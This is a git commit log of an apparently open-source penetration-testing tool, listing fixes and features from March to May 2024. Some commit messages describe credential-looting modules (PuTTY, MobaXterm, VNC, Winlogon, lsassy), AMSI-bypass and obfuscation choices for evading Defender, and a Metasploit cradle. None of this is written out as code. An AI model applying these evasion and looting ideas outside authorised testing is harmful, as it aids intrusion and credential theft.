Marshall Hallenbeck c06198807d fix(cli): remove secondary aeskey and kdchost long form options since its not possible to use two 2024-05-16 20:49:32 -04:00
Alex 7b5306c92c Merge branch 'main' into marshall-pwsh-update 2024-05-17 02:24:25 +02:00
Marshall Hallenbeck 66bdcdf1ab fix command exec method group naming 2024-05-16 20:16:44 -04:00
Marshall Hallenbeck b5bc29db25 feat(args): add additional, more pythonic options for cmd args 2024-05-16 20:15:50 -04:00
Marshall Hallenbeck 12141907df feat(smb): show defaults if not None/empty if they are set 2024-05-16 20:13:30 -04:00
Marshall Hallenbeck f021cde6f4 refactor(args): change Authentication to its own arg section and show defaults if set and not None/empty/etc 2024-05-16 20:12:51 -04:00
jubeaz dffd862595 linting 2024-05-17 02:05:57 +02:00
Marshall Hallenbeck e16a66af6d refactor(smb args): update smb arg parsing naming to make sense 2024-05-16 19:51:27 -04:00
Marshall Hallenbeck 70a99a7da5 feat(options): change how args are parsed and passed, allowing --debug, etc to be used anywhere 2024-05-16 18:26:18 -04:00
jubeaz 46574d41f6 Merge branch 'Pennyw0rth:main' into module_wcc_add_defender 2024-05-16 21:22:27 +02:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
jubeaz 1c965cb5f1 Merge branch 'main' into module_wcc_add_defender 2024-05-15 03:30:38 +02:00
jubeaz 4815249c78 update Defender checks 2024-05-15 03:19:19 +02:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
jubeaz ae6b659749 Add Defender conf check 2024-05-14 02:31:20 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Sant0rryu 169a7dc148 Update interface.py
Fixed Ruff checks

Signed-off-by: Sant0rryu <[email protected]>
2024-05-12 16:30:25 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Marshall Hallenbeck c56f08704e Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-11 19:36:08 -05:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Marshall Hallenbeck 27a0b78a86 tests: add and update tests related to powershell 2024-05-10 11:37:59 -04:00
Marshall Hallenbeck ca74acd1b1 fix(met_inject): simplify metasploit cradle, add logging, and update documentation; related to #223 2024-05-10 11:37:41 -04:00
Marshall Hallenbeck 27014a5b25 feat(powershell): large amount of fixes and improvements
- large amount of debugging added to powershell
- powershell helper refactored to fix obfuscation, running in 32 bit mode, encoding, etc
- turn off obfuscation by default for powershell, since defender picks it up easily
- turn off amsi-bypass by default, since it was an incredibly old signatured bypass (users can still pass in their own)
- check if virus detected in wmiexec
- more error checking for powershell
- update mssql powershell to match smb
- more error checking for mssql queries
- better handling of quotes for powershell queries, since we have almost 4 layers of quoting (python, mssql, cmd, powershell)
2024-05-10 11:32:16 -04:00
Marshall Hallenbeck 90877ddd63 feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 10:59:40 -04:00
Marshall Hallenbeck 85bcbf312c fix(powershell): fix running via ps32, both with and without obfuscation 2024-05-09 13:06:25 -04:00
Marshall Hallenbeck eb9bf61790 powershell: update powershell parameters, clean up code, and add debugging 2024-05-09 11:58:29 -04:00
Marshall Hallenbeck 2172231729 refactor: remove unnecessary new lines 2024-05-08 14:49:57 -04:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Marshall Hallenbeck 04df1e7641 smb: properly obfs or not depending on args 2024-05-08 12:24:57 -04:00
Marshall Hallenbeck e342c3e26f tests: add what was our default amsi bypass for testing 2024-05-08 12:24:37 -04:00
Marshall Hallenbeck b219e8f7e0 pwsh: remove commented code and remove easily detected amsi bypass (default to none) 2024-05-08 12:24:18 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Sant0rryu 3deabf5787 Adding module to retrieve network interfaces info
Signed-off-by: Sant0rryu <[email protected]>
2024-05-07 17:17:14 +02:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Alexander Neff 4b4036a5a1 Fixing password decryption length 2024-05-05 12:29:49 -04:00
Alexander Neff 193d49cee9 Add realvnc proxy credential looting 2024-05-05 11:26:46 -04:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
Alexander Neff e1f4759faf Merge main into passwords_dump_update 2024-04-29 17:02:12 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
sepauli 4e0b44f6a6 fix extract_password 2024-04-27 22:29:55 +02:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Marshall Hallenbeck 0ffa19debf Merge pull request #272 from Pennyw0rth/neff-fix-ssh
Fix ssh auth message
2024-04-25 10:09:57 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alex 1f8a0ef491 Merge pull request #270 from exploide/ldap-checker-py3.12
ldap-checker: fix for Python 3.12 compatibility
2024-04-21 15:28:08 -04:00
Alex 1ca2fd51b2 Merge pull request #248 from termanix/update_active_users
Ldap active users bug fix
2024-04-21 15:04:13 -04:00
Alexander Neff 71f9fdaa3f Change privilege feedback 2024-04-21 14:03:40 -04:00
Alexander Neff 5208c42aaa Fix ssh auth message 2024-04-21 12:53:49 -04:00
exploide b08c509b3c ldap-checker: use SSLContext.wrap_socket() instead of ssl.wrap_socket() for Python 3.12+ compatibility 2024-04-21 17:44:47 +02:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Alexander Neff 32bc19a0d5 Add logging statement if useraccountcontrol is none 2024-04-21 10:44:50 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alexander Neff f3fd612b56 Update lsassy to 3.1.10 2024-04-18 15:07:10 +02:00
mpgn cd363e97ad Update lsassy.py
it's breaking since update to 3.1.9

Signed-off-by: mpgn <[email protected]>
2024-04-18 15:07:10 +02:00
Alex 4e98f7bb02 Merge pull request #259 from Pennyw0rth/fix_computers_enum 2024-04-17 17:50:42 -04:00
zblurx 16c6ebfe1a fix computers enum 2024-04-17 13:07:25 +02:00
Alex 9662ef69a2 Merge pull request #257 from Pennyw0rth/neff-fix-too-many-files
Fix "Too many open files"
2024-04-16 14:33:03 -04:00
Alexander Neff 5d70195b93 Fix "Too many files" error from discord 2024-04-16 14:02:04 -04:00
Marshall Hallenbeck 7d44b11c2b Merge pull request #255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2024-04-15 20:09:11 -07:00
Marshall Hallenbeck 9e43aab3ee revert STATUS_LOGON_FAILURE change 2024-04-15 13:40:00 -04:00
Marshall Hallenbeck 89d3790aa4 feat(slinky): add SHARES and ICO_URI options; no longer try to write to SYSVOL share 2024-04-13 10:50:21 -07:00
Marshall Hallenbeck fcecda3696 smb(errors): add STATUS_LOGON_FAILURE to errors 2024-04-13 10:50:21 -07:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
Alex d19b5243f1 Merge pull request #254 from Pennyw0rth/neff-ssh
Fix ssh authentication with encrypted ssh file
2024-04-13 01:42:59 +02:00
Alexander Neff 4cabffb525 Fix ssh auth with all key files and fix password processing, also add better exception handling 2024-04-12 16:00:05 -04:00
Alexander Neff b0ccbe28e9 Fix ssh authentication with encrypted ssh file 2024-04-12 15:27:35 -04:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Marshall Hallenbeck af9656eaee Merge pull request #251 from scottymiller9/main
fixed one grammar error repeated in several files
2024-04-08 11:31:26 -07:00
Scott Miller ca09910606 fixed one grammar error repeated in several files 2024-04-08 05:25:06 +00:00
Alex 32b96c23fb Merge branch 'main' into update_active_users 2024-04-07 16:17:28 +02:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Marshall Hallenbeck 9359ac26da Merge pull request #237 from Pennyw0rth/marshall-bugfix-3292024
bugfixes: add-computer & nanodump modules
2024-04-05 10:47:51 -07:00
Alex 2d7ac3c8f1 Merge pull request #246 from Pennyw0rth/neff-fix-168 2024-04-05 13:09:38 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
termanix 09f45e866c Update ldap.py
Fixed ruff spaces

Signed-off-by: termanix <[email protected]>
2024-04-04 23:35:05 +03:00
termanix 98e7128293 Update ldap.py
Fixed ruff

Signed-off-by: termanix <[email protected]>
2024-04-04 23:31:09 +03:00
termanix 3523cd69cf Update ldap.py
Change variable name.

Signed-off-by: termanix <[email protected]>
2024-04-04 22:22:53 +03:00
termanix bd5a645571 Ldap active users bug fix 2024-04-04 22:17:53 +03:00
Alex 2f62e1c875 Merge pull request #247 from Pennyw0rth/neff-fix-binary 2024-04-04 14:54:13 -04:00
Alex 044f63b8f3 Merge branch 'main' into neff-fix-binary 2024-04-04 13:38:58 -04:00
Alexander Neff 0a42ebb6ec Add missing packages to spec file, fixing ldap and pso module 2024-04-04 12:20:38 -04:00
Alex 6104b5d27b Merge branch 'main' into marshall-bugfix-3292024 2024-04-04 11:59:28 -04:00
Alex 3be7a02810 Merge pull request #244 from Pennyw0rth/neff-fix-145
Fix tmp PATH on windows for msol and scuffy
2024-04-04 11:59:06 -04:00
Alexander Neff 13ca79f44f Add verbosity to dpapi, so the user knows if no secrets were found 2024-04-04 11:49:31 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
Alexander Neff dbc67e5ef8 Remove left over brackets 2024-04-03 11:05:07 -04:00
XiaoliChan 3f1fa69bdc remove condition
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:55:34 +08:00
Alex 34ebd5ad54 Fix tmp PATH on windows 2024-04-03 16:52:07 +02:00
XiaoliChan f5bb1fc65f Conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-03 22:49:37 +08:00
zblurx 1f2a29fb90 update poetry 2024-04-03 15:19:54 +02:00
zblurx 205b31b08a update poetry.lock 2024-04-03 10:44:00 +02:00
zblurx 8a23958bd7 update pyproject.toml 2024-04-03 10:43:18 +02:00
zblurx f00a3ae483 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-04-03 10:40:50 +02:00
zblurx 6e28e3580d add mobaxterm module 2024-04-03 10:37:24 +02:00
Alex 5c249d59e5 Merge pull request #239 from Pennyw0rth/marshall-version-setting
Add git commit to version command
2024-04-02 16:14:41 -04:00
Alexander Neff 3e3b37fe1a Fixing lock file 2024-04-02 15:39:48 -04:00
Marshall Hallenbeck 6856d2696a feat(logging): parse debug and verbose args early, so we can properly debug log during cli_arg generation 2024-04-02 13:35:47 -04:00
Alexander Neff 59297e83d5 Fixing lock file 2024-04-02 07:32:56 -04:00
Alexander Neff 41992be628 Merging main into marshall-version-setting 2024-04-02 07:30:36 -04:00
Alex da7c507f3f Merge pull request #126 from Kahvi-0/main
--kerberoast Improvement
2024-04-01 20:57:46 -04:00
Alex 72eeb7e31d Merge branch 'main' into main 2024-04-01 19:46:20 -04:00
Alex cd0d3c8f41 Merge pull request #234 from Pennyw0rth/remove-git-deps
Remove oscrypto and swap back to fortra/impacket
2024-04-01 19:39:20 -04:00
Alexander Neff df4ebf3131 Rewriting lock file 2024-04-01 17:20:46 -04:00
Alex 75e9316104 Merge pull request #242 from Pennyw0rth/neff-qol
Neff qol the second
2024-04-01 17:11:15 -04:00
Marshall Hallenbeck ecf5772e86 fix: attempt to split version, and if it fails, then fallback to normal versioning (only happens with poetry) 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 2562b60344 add version back in for when doing poetry dev, since by default it doesnt leverage build-system 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 7c68ab4db6 add commit output to help print 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck a7b6ccf171 set poetry-core back to >= 1.2 2024-04-01 14:23:41 -04:00
mpgn 0ecdfd3564 fixing dynamic version 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck dd075d4dcf fix(deps): change poerty-core back to 1.2 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck cee3430be7 feat(versioning): add git commit to version command, so we know exactly what code is being ran during issue triage 2024-04-01 14:23:41 -04:00
Marshall Hallenbeck 01c4a4479a Merge pull request #235 from Pennyw0rth/users-enum-fix
fix --users for LDAP proto
2024-04-01 12:32:03 -04:00
Marshall Hallenbeck 2e493f788d readd exit(1)s for parameter missing failures 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck e348965910 fix(nanodump): properly pass logger 2024-04-01 12:29:33 -04:00
Marshall Hallenbeck b1a07259db fix(add-computer): remove exit(1)s since it caused tests to fail even though there was no programatic failure 2024-04-01 12:29:33 -04:00
Alexander Neff 59a201a8db Catch known error instead of printing traceback 2024-04-01 11:05:25 -04:00
Alexander Neff c331ebec12 Set default worker amount to /24 subnet 2024-04-01 11:05:07 -04:00
Alex 2457ac0259 Merge pull request #236 from swisskyrepo/winlogon-autologon
Winlogon Autologon module
2024-03-31 21:17:10 -04:00
Alex e14bbaf5a3 Merge branch 'main' into remove-git-deps 2024-03-31 21:12:41 -04:00
Alex e728c15c6d Merge branch 'main' into winlogon-autologon 2024-03-31 13:59:44 -04:00
Alex 0eeddfbf83 Merge pull request #240 from Pennyw0rth/neff-qol
Small QOL changes
2024-03-31 13:54:55 -04:00
Alexander Neff 67bf99b39c Add info log message if connection couldn't be established 2024-03-30 21:09:00 +01:00
Alexander Neff 1ba3d04a1d Fix tests 2024-03-30 21:05:03 +01:00
Alex 4b35ab7a9e Merge pull request #230 from Pennyw0rth/neff-cli
Fix testing and linting
2024-03-30 01:16:56 +01:00
Alex b73eabafdd Merge pull request #238 from Pennyw0rth/Marshall-Hallenbeck-patch-1
rename MAQ.py to maq.py
2024-03-30 01:10:47 +01:00
Alexander Neff 3937f46fd6 Remove casting to lower in module names and rename MAQ.py -> maq.py 2024-03-30 01:01:48 +01:00
Marshall Hallenbeck f6c5073ed9 rename MAQ.py to maq.py
it should not be capitalized

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-29 19:21:04 -04:00
Alexander Neff 8f2c847815 Remove old test.txt 2024-03-29 21:16:35 +01:00
Swissky c659d75ae4 Winlogon Autologon module 2024-03-29 20:36:51 +01:00
zblurx 5f454a177d fix mremoteng module options 2024-03-28 14:27:33 +01:00
zblurx 63d6e19208 Merge branch 'main' into users-enum-fix 2024-03-28 14:21:02 +01:00
zblurx 7cd29c3833 fixed ruff warnings 2024-03-28 14:07:39 +01:00
Alex 114784911c Add py3.12 testing 2024-03-28 14:06:41 +01:00
zblurx 282ddb6383 update lock file 2024-03-28 14:02:22 +01:00
zblurx bcf4202076 Merge branch 'main' into passwords_dump_update 2024-03-28 13:50:08 +01:00
zblurx f1e273f4c8 add mremoteng 2024-03-28 13:49:00 +01:00
Alexander Neff cb40697cef Remove oscrypto and swap back to fortra/impacket 2024-03-27 22:41:15 +01:00
Alexander Neff 4af3705c4f Remove loading tests from linting 2024-03-27 20:44:55 +01:00
Alexander Neff c11a4353ce Remove exception => runner should not fail now 2024-03-27 20:40:45 +01:00
Alexander Neff 0626bbc729 Fix tests 2024-03-27 20:38:51 +01:00
Alexander Neff 4fb457c57a Temporarly add test to linting in order to run test the tests (lol) 2024-03-27 20:37:26 +01:00
Alexander Neff b85add8de9 Add cli testing 2024-03-27 20:35:02 +01:00
Alexander Neff cec36e7e24 Update testing README, rename file to match README and add small test suite 2024-03-27 20:17:05 +01:00
Alexander Neff 840b4dd834 Delete pytest job and add caching 2024-03-27 17:02:01 +01:00
Alex 15d52b778b Merge pull request #231 from Pennyw0rth/marshall-logging-fix 2024-03-27 12:57:15 +01:00
Marshall Hallenbeck eaeda89278 change normal output from DEBUG to INFO 2024-03-27 07:54:23 -04:00
Marshall Hallenbeck 52754f6eba Merge pull request #229 from Pennyw0rth/marshall-logging-fix
Logging fixes (double logging & function caller obfuscation)
2024-03-27 06:35:34 -04:00
zblurx e8a083e58c fix --users for LDAP proto 2024-03-27 11:07:23 +01:00
Alex 69747b9cba Update test.yml 2024-03-27 04:37:14 +01:00
Alex fdcda98d0a Update lint.yml 2024-03-27 04:13:37 +01:00
Alex d03f19eff3 Update lint.yml 2024-03-27 04:12:02 +01:00
Alex deededf441 Update test.yml 2024-03-27 04:11:11 +01:00
Alex 220cecdc0e Update lint.yml 2024-03-27 04:09:11 +01:00
Alexander Neff 32583e94e1 Add ability to trigger test manually 2024-03-27 04:03:46 +01:00
Alexander Neff 9106c9ab0d Lint only on push 2024-03-27 03:58:30 +01:00
Alexander Neff 8235bbdbc0 Fix linting 2024-03-27 03:57:39 +01:00
Alexander Neff e9583ca56c Fix linting 2024-03-27 03:54:31 +01:00
Alexander Neff ffa964647b Fix linting 2024-03-27 03:51:06 +01:00
Alexander Neff c7fcdee1d5 Reenable testing pipeline 2024-03-27 03:49:07 +01:00
Alexander Neff 7a226877e8 Fix testing and linting 2024-03-27 03:42:27 +01:00
Marshall Hallenbeck 22da1831ec fix(logging): do not double log output in debug mode; properly show calling file & lineno for such messages 2024-03-26 21:55:05 -04:00
Alex bf737f186d Merge pull request #227 from Pennyw0rth/neff-ldaps-port
Several ldap bug fixes
2024-03-27 02:36:40 +01:00
Marshall Hallenbeck b80aa433d2 Merge pull request #222 from Pennyw0rth/neff-loggedon_users
Make loggedon-users unique to reduce spam and fix alignment
2024-03-26 20:35:13 -04:00
Marshall Hallenbeck 5bd689177f Merge pull request #228 from termanix/patch-1
Module 'get-desc-users' Update - Marshall's #201 Issue Bug Fix
2024-03-26 16:09:19 -04:00
termanix b122a39b15 Update get-desc-users.py
Removed space

Signed-off-by: termanix <[email protected]>
2024-03-25 17:15:06 +03:00
termanix 41ed36d6fa Marshall's #201 Bug Fix
reges edited and output lines added.

Signed-off-by: termanix <[email protected]>
2024-03-25 17:11:15 +03:00
Alex bfe7e46800 Merge pull request #152 from Pennyw0rth/neff-ldap-domain 2024-03-25 12:37:04 +01:00
Alex 2e311a150b Merge pull request #224 from termanix/Update_active_users
Update LDAP active users lookup to match SMB
2024-03-24 19:05:34 +01:00
Alexander Neff 774f77e719 Fixing output if typo in username, fix indent when querying for specific user and formating 2024-03-24 19:01:29 +01:00
Alexander Neff e691e350a9 Fix wrongly displayed domain when using wmi 2024-03-24 18:24:18 +01:00
Alexander Neff 0917a05188 Fix wrongly displayed domain when using winrm and remove duplicate statement 2024-03-24 18:17:08 +01:00
Alexander Neff 04b0b3aa6b Fix wrongly displayed domain when using domain trust in mssql 2024-03-24 18:07:48 +01:00
Alexander Neff 63f9f3507e Small fix for ldap domain with no-ntlm 2024-03-24 18:07:19 +01:00
Alex 09a50d8043 Merge branch 'main' into neff-ldap-domain 2024-03-24 16:23:13 +01:00
termanix e31742ec67 Merge branch 'main' into Update_active_users 2024-03-24 10:41:37 +03:00
Alex a6935b4d8d Merge pull request #218 from Pennyw0rth/neff-enum_av
Fixing antivirus enumeration
2024-03-24 03:03:28 +01:00
Alexander Neff 041645aed9 Fix ldap not reporting DA when using hash login 2024-03-24 02:46:58 +01:00
Alexander Neff 6a24d76db9 Now adding the message, oops 2024-03-24 02:46:35 +01:00
Alexander Neff eb244948e6 Add log message to explain potential ldap channel binding 2024-03-24 02:44:23 +01:00
Marshall Hallenbeck 8940badc09 Merge pull request #216 from Pennyw0rth/ldap-checker-fix
[ldap-checker] Module fix
2024-03-23 14:04:16 -04:00
Marshall Hallenbeck d8284f9178 Merge pull request #226 from Pennyw0rth/issues/221
BloodHound & hash_spider fixes
2024-03-23 09:59:41 -04:00
Marshall Hallenbeck 934ba6f139 fix(hash_spider): fix old db function call for hosts; fixes #221 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck a9bd576392 fix(bloodhound): fail out right away if Bloodhound is enabled and authentication fails to the API 2024-03-22 14:50:01 -04:00
Marshall Hallenbeck 58d2039553 update default bloodhound password 2024-03-22 14:50:01 -04:00
zblurx a6f09e7166 cleanup 2024-03-22 17:44:31 +01:00
zblurx af9dfcfeb5 vnc module working 2024-03-22 17:35:51 +01:00
termanix 6c3746643e Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:24:41 +03:00
termanix e0b6f571c8 Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:22:10 +03:00
termanix fc40c778fe Update ldap.py
Signed-off-by: termanix <[email protected]>
2024-03-22 19:12:26 +03:00
termanix 9603f8f450 Update ldap.py
Fixed single quotes and blank spaces

Signed-off-by: termanix <[email protected]>
2024-03-22 19:04:40 +03:00
termanix 7c07ab04d7 Update ldap.py
line 914 and 916 Comparison edited to "is"

Signed-off-by: termanix <[email protected]>
2024-03-22 18:58:45 +03:00
termanix c1a2a92816 Update LDAP active users lookup to match SMB 2024-03-22 18:42:33 +03:00
Marshall Hallenbeck 3dc84e1228 Merge pull request #215 from Pennyw0rth/marshall-ldap-users
Update LDAP users lookup to match SMB
2024-03-22 10:50:49 -04:00
Alexander Neff 1e517c8313 Fix ruff 2024-03-22 12:47:40 +01:00
Alexander Neff c123e37d4e Make loggedon-users unique to reduce spam and fix alignment 2024-03-22 12:43:17 +01:00
Alex 58c0529264 Merge branch 'main' into neff-enum_av 2024-03-22 10:36:27 +01:00
Marshall Hallenbeck 40e99913e3 change extra output to debug statement 2024-03-21 20:45:39 -04:00
Marshall Hallenbeck e870a30416 Merge branch 'main' into marshall-ldap-users 2024-03-21 20:25:51 -04:00
Alex fb8c4bcdcd Merge pull request #220 from Pennyw0rth/marshall-proto-print-fix
Fix: module names 8-10 chars being cut off
2024-03-22 01:23:24 +01:00
Marshall Hallenbeck b0ec4b7951 fix(smb): --users display off by one :) 2024-03-21 20:16:43 -04:00
Marshall Hallenbeck e5bba812e8 fix(ldap): off by one :) 2024-03-21 20:12:06 -04:00
Alexander Neff 49e909c50a Formating 2024-03-21 20:12:06 -04:00
Alexander Neff 14e7034352 Formating 2024-03-21 20:12:06 -04:00
